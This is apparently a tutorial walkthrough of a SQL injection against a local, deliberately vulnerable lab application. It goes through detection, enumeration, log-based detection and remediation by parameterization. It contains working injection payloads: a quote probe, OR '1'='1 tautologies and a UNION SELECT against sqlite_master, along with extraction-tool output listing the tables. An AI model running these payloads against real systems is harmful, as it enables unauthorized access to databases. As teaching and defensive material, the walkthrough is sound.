SQL injection lab walkthrough: from detection to extraction

A hands-on walkthrough of finding and exploiting a classic SQL injection in a deliberately vulnerable lab, then confirming and reporting it responsibly.

On this page

SQL injection remains one of the most impactful web vulnerabilities because it lets an attacker influence the queries an application sends to its database. In this walkthrough we work against a local lab and move deliberately from detection to controlled extraction.

Setting up the lab

Spin up the intentionally vulnerable application locally so all traffic stays on your machine.

attacker@lab
$ docker run --rm -p 3000:3000 cybersecfix/sqli-lab:demo
[*] lab listening on http://localhost:3000
$ curl -s http://localhost:3000/rest/products?q=apple | head -c 80
[{"id":1,"name":"Apple Juice","price":1.99}]

Detecting the injection

Start with the cheapest possible signal: does a single quote change the response? A server error, a different result count, or a timing change all suggest the input reaches a query unsafely.

HTTP Request
GET /rest/products?q=apple' HTTP/1.1
Host: localhost:3000
Accept: application/json

If the application returns a database error, that is error-based confirmation. A safer, quieter confirmation is a boolean test, comparing a always-true condition against an always-false one:

boolean-probe.txttext
# Always true  -> normal result set
q=apple' OR '1'='1

# Always false -> empty result set

q=apple' AND '1'='2

Enumerating the database

Once injection is confirmed, enumerate structure before touching data. Keep payloads minimal and avoid destructive statements.

-- Discover table names (SQLite example)
' UNION SELECT name, sql FROM sqlite_master WHERE type='table' --
attacker@lab
$ python3 extract.py --url "http://localhost:3000/rest/products?q=" \
  --technique union --columns 2
[+] injection point confirmed (union, 2 columns)
[+] tables: products, users, feedback
[+] done in 3.2s

Stop at proof. For a report, demonstrating that you can read a table name or a single non-sensitive value is sufficient; exfiltrating real user data is neither necessary nor responsible.

Detection

Detection

Watch for query syntax errors and unusual result-set sizes in application and database logs. A sudden spike of SQL syntax errors from one client, or requests containing UNION SELECT and OR '1'='1, are strong signals.

level=error msg="SQLITE_ERROR: near \"'\": syntax error" route=/rest/products q="apple'"

Remediation

Parameterization is the fix; input filtering and a web application firewall are defense in depth, not substitutes.

References

  1. SQL InjectionOWASP
  2. SQL injection, Web Security AcademyPortSwigger
  3. CWE-89: Improper Neutralization of Special Elements used in an SQL CommandMITRE